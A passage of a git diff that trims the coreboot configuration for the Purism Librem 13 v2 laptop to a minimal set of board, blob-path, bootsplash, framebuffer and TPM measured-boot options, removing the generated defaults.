diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 1b08c9e66..fcbb11214 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -1,797 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Librem 13" -CONFIG_MAINBOARD_PART_NUMBER="Librem 13 v2" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="purism/librem_skl" -CONFIG_VGA_BIOS_ID="8086,1916" -CONFIG_DIMM_MAX=1 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="Purism" -CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y -CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y -CONFIG_MAX_CPUS=8 -# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="librem13" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 13 v2" -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set CONFIG_BOARD_PURISM_LIBREM13_V2=y -# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_SKYLAKE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_skl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y 